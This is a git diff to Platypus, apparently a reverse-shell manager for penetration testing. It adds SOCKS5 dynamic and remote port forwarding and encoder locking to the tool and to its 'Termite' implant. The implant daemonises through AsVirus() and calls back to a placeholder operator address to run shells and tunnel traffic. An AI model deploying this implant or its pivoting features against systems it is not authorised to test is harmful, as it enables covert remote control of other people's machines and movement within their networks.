diff --git a/README.md b/README.md index 5c18791a..3453d884 100644 --- a/README.md +++ b/README.md @@ -218,9 +218,10 @@ First use `Jump` to select a client, then type `PTY`, then type `Interact` to dr - [ ] Upgrade to Metepreter session - [ ] Electron frontend - [ ] [#53 Reload config file](https://github.com/WangYihang/Platypus/issues/53) -- [ ] [#28 Suport remote port forwarding](https://github.com/WangYihang/Platypus/issues/28)) -- [ ] [#28 Suport dynamic port forwarding](https://github.com/WangYihang/Platypus/issues/28)) - [ ] [#28 Suport enable internet on the internal machine](https://github.com/WangYihang/Platypus/issues/28)) +- [ ] Add version checking in Termite +- [x] [#28 Suport dynamic port forwarding](https://github.com/WangYihang/Platypus/issues/28)) +- [x] [#28 Suport remote port forwarding](https://github.com/WangYihang/Platypus/issues/28)) - [x] [#28 Suport local port forwarding](https://github.com/WangYihang/Platypus/issues/28)) - [x] Design Private Protocol - [x] Check exit state in WebSocket @@ -254,7 +255,6 @@ First use `Jump` to select a client, then type `PTY`, then type `Interact` to dr - [x] Upgrade common reverse shell session into full interactive session - [x] Docker support (Added by [@yeya24](https://github.com/yeya24)) - ## Contributors This project exists thanks to all the people who contribute. diff --git a/go.mod b/go.mod index a8f1a150..3e12d8e2 100644 --- a/go.mod +++ b/go.mod @@ -4,6 +4,7 @@ go 1.14 require ( github.com/WangYihang/readline v0.0.0-20200229084751-518dcf4f57b3 + github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 github.com/asaskevich/govalidator v0.0.0-20200108200545-475eaeb16496 // indirect github.com/blang/semver v3.5.1+incompatible github.com/creack/pty v1.1.11 @@ -24,6 +25,7 @@ require ( github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.1 // indirect github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect + github.com/phayes/freeport v0.0.0-20180830031419-95f893ade6f2 github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4 github.com/rhysd/go-github-selfupdate v1.2.3 github.com/sevlyar/go-daemon v0.1.5 diff --git a/go.sum b/go.sum index 4bd2f004..5f0f6e59 100644 --- a/go.sum +++ b/go.sum @@ -39,6 +39,8 @@ github.com/WangYihang/readline v0.0.0-20200229084751-518dcf4f57b3 h1:vnLf9dGMiEb github.com/WangYihang/readline v0.0.0-20200229084751-518dcf4f57b3/go.mod h1:S7Ulsa01ssaZKuWV9IRCrAdCtCdI4dQIt39FYOzAEa4= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= +github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= +github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= github.com/asaskevich/govalidator v0.0.0-20200108200545-475eaeb16496 h1:zV3ejI06GQ59hwDQAvmK1qxOQGB3WuVTRoY0okPTAv0= github.com/asaskevich/govalidator v0.0.0-20200108200545-475eaeb16496/go.mod h1:oGkLhpf+kjZl6xBf758TQhh5XrAeiJv/7FRz/2spLIg= @@ -244,6 +246,8 @@ github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W github.com/onsi/gomega v1.4.2 h1:3mYCb7aPxS/RU7TI1y4rkEn1oKmPRjNJLNEXgw7MH2I= github.com/onsi/gomega v1.4.2/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/pelletier/go-toml v1.4.0/go.mod h1:PN7xzY2wHTK0K9p34ErDQMlFxa51Fk0OUruD3k1mMwo= +github.com/phayes/freeport v0.0.0-20180830031419-95f893ade6f2 h1:JhzVVoYvbOACxoUmOs6V/G4D5nPVUW73rKvXxP4XUJc= +github.com/phayes/freeport v0.0.0-20180830031419-95f893ade6f2/go.mod h1:iIss55rKnNBTvrwdmkUpLnDpZoAHvWaiq5+iMmen4AE= github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4 h1:Qj1ukM4GlMWXNdMBuXcXfz/Kw9s1qm0CLY32QxuSImI= github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4/go.mod h1:N6UoU20jOqggOuDwUaBQpluzLNDqif3kq9z2wpdYEfQ= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= diff --git a/lib/cli/dispatcher/tunnel.go b/lib/cli/dispatcher/tunnel.go index b1d9b5cc..6817fb3c 100644 --- a/lib/cli/dispatcher/tunnel.go +++ b/lib/cli/dispatcher/tunnel.go @@ -48,19 +48,26 @@ func (dispatcher Dispatcher) Tunnel(args []string) { case "pull": local_address := fmt.Sprintf("%s:%d", dst_host, dst_port) remote_address := fmt.Sprintf("%s:%d", src_host, src_port) - log.Info("Mapping remote (%s) to local (%s)", remote_address, local_address) context.AddPullTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) case "push": local_address := fmt.Sprintf("%s:%d", src_host, src_port) remote_address := fmt.Sprintf("%s:%d", dst_host, dst_port) - log.Info("Mapping local (%s) to remote (%s)", local_address, remote_address) context.AddPushTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) case "dynamic": - log.Error("TBD") - // context.AddDynamicTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) + context.Ctx.CurrentTermite.StartSocks5Server() case "internet": - log.Error("TBD") - // context.AddInternetTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) + local_address := fmt.Sprintf("%s:%d", src_host, src_port) + remote_address := fmt.Sprintf("%s:%d", dst_host, dst_port) + if _, exists := context.Ctx.Socks5Servers[local_address]; exists { + log.Warn("Socks5 server (%s) already exists", local_address) + } else { + err := context.StartSocks5Server(local_address) + if err != nil { + log.Error("Starting local socks5 server failed: %s", err.Error()) + } else { + context.AddPushTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) + } + } default: log.Error("Invalid mode: %s, should be in {'Pull', 'Push', 'Dynamic', 'Internet'}", mode) } diff --git a/lib/context/client.go b/lib/context/client.go index b875f5b0..39abf2ed 100644 --- a/lib/context/client.go +++ b/lib/context/client.go @@ -78,6 +78,9 @@ func CreateTCPClient(conn net.Conn, server *TCPServer) *TCPClient { func (c *TCPClient) Close() { c.conn.Close() + if Ctx.Current == c { + Ctx.Current = nil + } } func (c *TCPClient) GetConnString() string { @@ -1001,7 +1004,7 @@ func (c *TCPClient) Upload(src string, dst string, broadcast bool) bool { bar.IncrBy(segmentSize) bar.DecoratorEwmaUpdate(time.Since(start)) - if broadcast && i%64 == 0 { + if broadcast && i%0x10 == 0 { c.NotifyWebSocketUploadingTermite(bytesSent, totalBytes) } } diff --git a/lib/context/context.go b/lib/context/context.go index 4dc693fe..03c0e7b5 100644 --- a/lib/context/context.go +++ b/lib/context/context.go @@ -12,6 +12,7 @@ import ( "github.com/WangYihang/Platypus/lib/util/str" "github.com/WangYihang/Platypus/lib/util/ui" "github.com/WangYihang/readline" + "github.com/armon/go-socks5" "github.com/fatih/color" "github.com/gin-gonic/gin" "gopkg.in/olahol/melody.v1" @@ -50,6 +51,7 @@ type Context struct { PullTunnelInstance map[string]PullTunnelInstance PushTunnelConfig map[string]PushTunnelConfig PushTunnelInstance map[string]PushTunnelInstance + Socks5Servers map[string](*socks5.Server) // Set later in platypus.go Distributor *Distributor RESTful *gin.Engine @@ -72,6 +74,7 @@ func CreateContext() { PullTunnelInstance: make(map[string]PullTunnelInstance), PushTunnelConfig: make(map[string]PushTunnelConfig), PushTunnelInstance: make(map[string]PushTunnelInstance), + Socks5Servers: make(map[string]*socks5.Server), } } // Signal Handler @@ -197,6 +200,7 @@ func Shutdown() { } func AddPushTunnelConfig(termite *TermiteClient, local_address string, remote_address string) { + log.Info("Mapping local (%s) to remote (%s)", local_address, remote_address) termite.AtomLock.Lock() defer func() { termite.AtomLock.Unlock() }() @@ -220,6 +224,7 @@ func AddPushTunnelConfig(termite *TermiteClient, local_address string, remote_ad } func AddPullTunnelConfig(termite *TermiteClient, local_address string, remote_address string) { + log.Info("Mapping remote (%s) to local (%s)", remote_address, local_address) tunnel, err := net.Listen("tcp", local_address) if err != nil { log.Error(err.Error()) @@ -277,6 +282,24 @@ func WriteTunnel(termite *TermiteClient, token string, data []byte) { } } +func StartSocks5Server(local_address string) error { + // Create tcp listener + socks5ServerListener, err := net.Listen("tcp", local_address) + if err != nil { + return err + } + // Create socks5 server + server, err := socks5.New(&socks5.Config{}) + if err != nil { + return err + } + Ctx.Socks5Servers[local_address] = server + // Start socks5 server + go server.Serve(socks5ServerListener) + log.Success("Socks server started at: %s", local_address) + return nil +} + // func DeletePullTunnelConfig(local_host string, local_port uint16, remote_host string, remote_port uint16) { // local_address := fmt.Sprintf("%s:%d", local_host, local_port) // remote_address := fmt.Sprintf("%s:%d", remote_host, remote_port) diff --git a/lib/context/server.go b/lib/context/server.go index 82bfb5f2..b3454d04 100644 --- a/lib/context/server.go +++ b/lib/context/server.go @@ -20,6 +20,7 @@ import ( "github.com/WangYihang/Platypus/lib/util/str" humanize "github.com/dustin/go-humanize" "github.com/jedib0t/go-pretty/table" + "github.com/phayes/freeport" ) type WebSocketMessage struct { @@ -471,10 +472,12 @@ func (s *TCPServer) AddTermiteClient(client *TermiteClient) { log.Error("Duplicated income connection detected!") // Respond to termite client that the client is duplicated + client.EncoderLock.Lock() err := client.Encoder.Encode(message.Message{ Type: message.DUPLICATED_CLIENT, Body: message.BodyDuplicateClient{}, }) + client.EncoderLock.Unlock() if err != nil { // TODO: handle network error log.Error("Network error: %s", err) @@ -607,6 +610,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { conn, err := net.Dial("tcp", tc.Address) if err != nil { log.Error("Connecting to %s failed: %s", tc.Address, err.Error()) + tc.Termite.EncoderLock.Lock() tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECT_FAILED, Body: message.BodyPushTunnelConnectFailed{ @@ -614,24 +618,28 @@ func TermiteMessageDispatcher(client *TermiteClient) { Reason: err.Error(), }, }) + tc.Termite.EncoderLock.Unlock() } else { log.Success("Connecting to %s succeed", tc.Address) Ctx.PushTunnelInstance[token] = PushTunnelInstance{ Termite: tc.Termite, Conn: &conn, } + tc.Termite.EncoderLock.Lock() tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECTED, Body: message.BodyPushTunnelConnected{ Token: token, }, }) + tc.Termite.EncoderLock.Unlock() go func() { for { buffer := make([]byte, 0x400) n, err := conn.Read(buffer) if err != nil { log.Debug("Reading from %s failed: %s", tc.Address, err.Error()) + tc.Termite.EncoderLock.Lock() tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DISCONNECTED, Body: message.BodyPushTunnelDisonnected{ @@ -639,11 +647,13 @@ func TermiteMessageDispatcher(client *TermiteClient) { Reason: err.Error(), }, }) + tc.Termite.EncoderLock.Unlock() conn.Close() delete(Ctx.PushTunnelInstance, token) break } else { log.Debug("%d bytes read from %s", n, tc.Address) + tc.Termite.EncoderLock.Lock() tc.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DATA, Body: message.BodyPushTunnelData{ @@ -651,6 +661,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { Data: buffer[0:n], }, }) + tc.Termite.EncoderLock.Unlock() } } }() @@ -703,6 +714,7 @@ func TermiteMessageDispatcher(client *TermiteClient) { if ti, exists := Ctx.PushTunnelInstance[token]; exists { _, err := (*ti.Conn).Write(data) if err != nil { + ti.Termite.EncoderLock.Lock() ti.Termite.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECT_FAILED, Body: message.BodyPushTunnelConnectFailed{ @@ -710,12 +722,25 @@ func TermiteMessageDispatcher(client *TermiteClient) { Reason: err.Error(), }, }) + ti.Termite.EncoderLock.Unlock() (*ti.Conn).Close() delete(Ctx.PushTunnelInstance, token) } } else { log.Debug("No such tunnel: %s", token) } + case message.DYNAMIC_TUNNEL_CREATED: + port := msg.Body.(*message.BodyDynamicTunnelCreated).Port + local_address := fmt.Sprintf("127.0.0.1:%d", freeport.GetPort()) + remote_address := fmt.Sprintf("127.0.0.1:%d", port) + log.Success("Mapping remote socks server (%s) into local address (%s)", remote_address, local_address) + AddPullTunnelConfig( + Ctx.CurrentTermite, + local_address, + remote_address, + ) + case message.DYNAMIC_TUNNEL_CREATE_FAILED: + log.Error(msg.Body.(*message.BodyDynamicTunnelCreateFailed).Reason) } } } diff --git a/lib/context/termite.go b/lib/context/termite.go index 76ff6009..510e759a 100644 --- a/lib/context/termite.go +++ b/lib/context/termite.go @@ -93,6 +93,15 @@ func (c *TermiteClient) GetHashFormat() string { return c.server.hashFormat } +func (c *TermiteClient) StartSocks5Server() { + c.EncoderLock.Lock() + c.Encoder.Encode(message.Message{ + Type: message.DYNAMIC_TUNNEL_CREATE, + Body: message.BodyDynamicTunnelCreate{}, + }) + c.EncoderLock.Unlock() +} + func (c *TermiteClient) GatherClientInfo(hashFormat string) bool { log.Info("Gathering information from termite client...") @@ -299,6 +308,9 @@ func (c *TermiteClient) Close() { } } c.conn.Close() + if Ctx.CurrentTermite == c { + Ctx.CurrentTermite = nil + } } func (c *TermiteClient) AsTable() { diff --git a/lib/util/message/message.go b/lib/util/message/message.go index 4276aa7f..98b7acbf 100644 --- a/lib/util/message/message.go +++ b/lib/util/message/message.go @@ -26,6 +26,8 @@ const ( PUSH_TUNNEL_CONNECT_FAILED PUSH_TUNNEL_DISCONNECTED PUSH_TUNNEL_DISCONNECT_FAILED + DYNAMIC_TUNNEL_CREATE + DYNAMIC_TUNNEL_DESTROY // Termite -> Platypus PROCESS_STARTED @@ -40,6 +42,10 @@ const ( PUSH_TUNNEL_CREATE_FAILED PUSH_TUNNEL_DELETED PUSH_TUNNEL_DELETE_FAILED + DYNAMIC_TUNNEL_CREATED + DYNAMIC_TUNNEL_CREATE_FAILED + DYNAMIC_TUNNEL_DESTROIED + DYNAMIC_TUNNEL_DESTROY_FAILED ) type Message struct { @@ -175,6 +181,19 @@ type BodyPushTunnelDisonnectFailed struct { Token string } +type BodyDynamicTunnelCreate struct{} +type BodyDynamicTunnelCreated struct { + Port int +} +type BodyDynamicTunnelCreateFailed struct { + Reason string +} +type BodyDynamicTunnelDestroy struct{} +type BodyDynamicTunnelDestroied struct{} +type BodyDynamicTunnelDestroyFailed struct { + Reason string +} + func RegisterGob() { // Client Management gob.Register(&BodyClientInfo{}) @@ -208,4 +227,11 @@ func RegisterGob() { gob.Register(&BodyPushTunnelDisonnect{}) gob.Register(&BodyPushTunnelDisonnected{}) gob.Register(&BodyPushTunnelDisonnectFailed{}) + // Dynamic port forwarding + gob.Register(&BodyDynamicTunnelCreate{}) + gob.Register(&BodyDynamicTunnelCreated{}) + gob.Register(&BodyDynamicTunnelCreateFailed{}) + gob.Register(&BodyDynamicTunnelDestroy{}) + gob.Register(&BodyDynamicTunnelDestroied{}) + gob.Register(&BodyDynamicTunnelDestroyFailed{}) } diff --git a/lib/util/ui/prompt.go b/lib/util/ui/prompt.go index e95c63c4..a939f082 100644 --- a/lib/util/ui/prompt.go +++ b/lib/util/ui/prompt.go @@ -9,7 +9,7 @@ import ( func PromptYesNo(message string) bool { for { - fmt.Print(fmt.Sprintf("%s [Y/N] ", message)) + fmt.Printf("%s [Y/N] ", message) inputReader := bufio.NewReader(os.Stdin) input, err := inputReader.ReadString('\n') if err != nil { diff --git a/termite.go b/termite.go index 68d1bfe5..e8b03df4 100644 --- a/termite.go +++ b/termite.go @@ -14,6 +14,7 @@ import ( "path/filepath" "runtime" "strings" + "sync" "syscall" "time" @@ -22,7 +23,9 @@ import ( "github.com/WangYihang/Platypus/lib/util/log" "github.com/WangYihang/Platypus/lib/util/message" "github.com/WangYihang/Platypus/lib/util/str" + "github.com/armon/go-socks5" "github.com/creack/pty" + "github.com/phayes/freeport" "github.com/sevlyar/go-daemon" ) @@ -72,11 +75,14 @@ type TermiteProcess struct { var processes map[string]*TermiteProcess var pullTunnels map[string]*net.Conn var pushTunnels map[string]*net.Conn +var socks5ServerListener *net.Listener type Client struct { - Conn *tls.Conn - Encoder *gob.Encoder - Decoder *gob.Decoder + Conn *tls.Conn + Encoder *gob.Encoder + Decoder *gob.Decoder + EncoderLock *sync.Mutex + DecoderLock *sync.Mutex } func handleConnection(c *Client) { @@ -84,7 +90,9 @@ func handleConnection(c *Client) { for { msg := &message.Message{} + c.DecoderLock.Lock() err := c.Decoder.Decode(msg) + c.DecoderLock.Unlock() if err != nil { // Network log.Error("Network error: %s", err) @@ -142,6 +150,7 @@ func handleConnection(c *Client) { log.Success("Process added: %v", processes) defer func() { _ = ptmx.Close() }() + c.EncoderLock.Lock() err = c.Encoder.Encode(message.Message{ Type: message.PROCESS_STARTED, Body: message.BodyProcessStarted{ @@ -149,6 +158,7 @@ func handleConnection(c *Client) { Pid: process.Process.Pid, }, }) + c.EncoderLock.Unlock() if err != nil { // Network log.Error("Network error: %s", err) @@ -161,6 +171,7 @@ func handleConnection(c *Client) { n, err := ptmx.Read(buffer) if err != nil { if err == io.EOF { + c.EncoderLock.Lock() err = c.Encoder.Encode(message.Message{ Type: message.PROCESS_STOPED, Body: message.BodyProcessStoped{ @@ -168,6 +179,7 @@ func handleConnection(c *Client) { Code: 0, }, }) + c.EncoderLock.Unlock() if err != nil { // Network fmt.Println("Process stoped: %v", err) @@ -178,6 +190,7 @@ func handleConnection(c *Client) { break } if n > 0 { + c.EncoderLock.Lock() err = c.Encoder.Encode(message.Message{ Type: message.STDIO, Body: message.BodyStdio{ @@ -185,6 +198,7 @@ func handleConnection(c *Client) { Data: buffer[0:n], }, }) + c.EncoderLock.Unlock() if err != nil { // Network log.Error("Network error: %s", err) @@ -204,6 +218,7 @@ func handleConnection(c *Client) { } fmt.Println("Exit code: ", exitCode) + c.EncoderLock.Lock() err = c.Encoder.Encode(message.Message{ Type: message.PROCESS_STOPED, Body: message.BodyProcessStoped{ @@ -211,6 +226,7 @@ func handleConnection(c *Client) { Code: exitCode, }, }) + c.EncoderLock.Unlock() if err != nil { // Network @@ -248,6 +264,7 @@ func handleConnection(c *Client) { interfaces[i.Name] = i.HardwareAddr.String() } + c.EncoderLock.Lock() err = c.Encoder.Encode(message.Message{ Type: message.CLIENT_INFO, Body: message.BodyClientInfo{ @@ -258,6 +275,7 @@ func handleConnection(c *Client) { NetworkInterfaces: interfaces, }, }) + c.EncoderLock.Unlock() if err != nil { // Network @@ -282,6 +300,7 @@ func handleConnection(c *Client) { conn, err := net.Dial("tcp", address) if err != nil { log.Error(err.Error()) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PULL_TUNNEL_CONNECT_FAILED, Body: message.BodyPullTunnelConnectFailed{ @@ -289,13 +308,16 @@ func handleConnection(c *Client) { Reason: err.Error(), }, }) + c.EncoderLock.Unlock() } else { + c.EncoderLock.Lock() err := c.Encoder.Encode(message.Message{ Type: message.PULL_TUNNEL_CONNECTED, Body: message.BodyPullTunnelConnected{ Token: token, }, }) + c.EncoderLock.Unlock() if err != nil { log.Error(err.Error()) @@ -307,16 +329,19 @@ func handleConnection(c *Client) { n, err := conn.Read(buffer) if err != nil { log.Success("Tunnel (%s) disconnected: %s", token, err.Error()) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PULL_TUNNEL_DISCONNECTED, Body: message.BodyPullTunnelDisconnected{ Token: token, }, }) + c.EncoderLock.Unlock() conn.Close() break } else { if n > 0 { + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PULL_TUNNEL_DATA, Body: message.BodyPullTunnelData{ @@ -324,6 +349,7 @@ func handleConnection(c *Client) { Data: buffer[0:n], }, }) + c.EncoderLock.Unlock() } } } @@ -347,12 +373,14 @@ func handleConnection(c *Client) { log.Info("Closing conntion: %s", (*conn).RemoteAddr().String()) (*conn).Close() delete(pullTunnels, token) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PULL_TUNNEL_DISCONNECTED, Body: message.BodyPullTunnelDisconnected{ Token: token, }, }) + c.EncoderLock.Unlock() } else { log.Debug("No such tunnel: %s", token) } @@ -362,6 +390,7 @@ func handleConnection(c *Client) { server, err := net.Listen("tcp", address) if err != nil { log.Error("Server (%s) create failed: %s", address, err.Error()) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CREATE_FAILED, Body: message.BodyPushTunnelCreateFailed{ @@ -369,14 +398,17 @@ func handleConnection(c *Client) { Reason: err.Error(), }, }) + c.EncoderLock.Unlock() } else { - log.Error("Server created (%s)", address) + log.Success("Server created (%s)", address) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CREATED, Body: message.BodyPushTunnelCreated{ Address: address, }, }) + c.EncoderLock.Unlock() go func() { for { @@ -384,6 +416,7 @@ func handleConnection(c *Client) { token := str.RandomString(0x10) log.Success("Connection came from: %s", conn.RemoteAddr().String()) if err == nil { + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_CONNECT, Body: message.BodyPushTunnelConnect{ @@ -391,6 +424,7 @@ func handleConnection(c *Client) { Address: address, }, }) + c.EncoderLock.Unlock() pushTunnels[token] = &conn } } @@ -406,6 +440,7 @@ func handleConnection(c *Client) { n, err := (*conn).Read(buffer) if err != nil { log.Error("Read from (%s) failed: %s", token, err.Error()) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DISCONNECTED, Body: message.BodyPushTunnelDisonnected{ @@ -413,11 +448,13 @@ func handleConnection(c *Client) { Reason: err.Error(), }, }) + c.EncoderLock.Unlock() (*conn).Close() delete(pushTunnels, token) break } else { log.Debug("%d bytes read from (%s)", n, token) + c.EncoderLock.Lock() c.Encoder.Encode(message.Message{ Type: message.PUSH_TUNNEL_DATA, Body: message.BodyPushTunnelData{ @@ -425,6 +462,7 @@ func handleConnection(c *Client) { Data: buffer[0:n], }, }) + c.EncoderLock.Unlock() } } }() @@ -459,10 +497,80 @@ func handleConnection(c *Client) { } else { log.Debug("No such tunnel (PUSH_TUNNEL_DATA): %s", token) } + case message.DYNAMIC_TUNNEL_CREATE: + port, err := StartSocks5Server() + if err != nil { + c.EncoderLock.Lock() + c.Encoder.Encode(message.Message{ + Type: message.DYNAMIC_TUNNEL_CREATE_FAILED, + Body: message.BodyDynamicTunnelCreateFailed{ + Reason: err.Error(), + }, + }) + c.EncoderLock.Unlock() + } else { + c.EncoderLock.Lock() + c.Encoder.Encode(message.Message{ + Type: message.DYNAMIC_TUNNEL_CREATED, + Body: message.BodyDynamicTunnelCreated{ + Port: port, + }, + }) + c.EncoderLock.Unlock() + } + case message.DYNAMIC_TUNNEL_DESTROY: + err := StopSocks5Server() + if err != nil { + log.Error("StopSocks5Server() failed: %s", err.Error()) + c.EncoderLock.Lock() + c.Encoder.Encode(message.Message{ + Type: message.DYNAMIC_TUNNEL_DESTROY_FAILED, + Body: message.BodyDynamicTunnelDestroyFailed{ + Reason: err.Error(), + }, + }) + c.EncoderLock.Unlock() + } else { + c.EncoderLock.Lock() + c.Encoder.Encode(message.Message{ + Type: message.DYNAMIC_TUNNEL_DESTROIED, + Body: message.BodyDynamicTunnelDestroied{}, + }) + c.EncoderLock.Unlock() + socks5ServerListener = nil + } } } } +func StartSocks5Server() (int, error) { + // Generate random port + port, err := freeport.GetFreePort() + if err != nil { + return -1, err + } + log.Success("Port: %d", port) + addr := fmt.Sprintf("127.0.0.1:%d", port) + // Create tcp listener + socks5ServerListener, err := net.Listen("tcp", addr) + if err != nil { + return -1, err + } + // Create socks5 server + server, err := socks5.New(&socks5.Config{}) + if err != nil { + return -1, err + } + // Start socks5 server + go server.Serve(socks5ServerListener) + log.Success("Socks server started at: %s", addr) + return port, nil +} + +func StopSocks5Server() error { + return (*socks5ServerListener).Close() +} + func StartClient(service string) bool { needRetry := true certBuilder := new(strings.Builder) @@ -498,9 +606,11 @@ func StartClient(service string) bool { log.Success("Secure connection established on %s", conn.RemoteAddr()) c := &Client{ - Conn: conn, - Encoder: gob.NewEncoder(conn), - Decoder: gob.NewDecoder(conn), + Conn: conn, + Encoder: gob.NewEncoder(conn), + Decoder: gob.NewDecoder(conn), + EncoderLock: &sync.Mutex{}, + DecoderLock: &sync.Mutex{}, } handleConnection(c) return needRetry @@ -535,19 +645,22 @@ func AsVirus() { } func main() { - release := true - if release { - AsVirus() - } message.RegisterGob() backoff = CreateBackOff() processes = map[string]*TermiteProcess{} pullTunnels = map[string]*net.Conn{} pushTunnels = map[string]*net.Conn{} service := "127.0.0.1:13337" + release := true + if release { service = strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ") } + + if release { + AsVirus() + } + for { if !StartClient(service) { break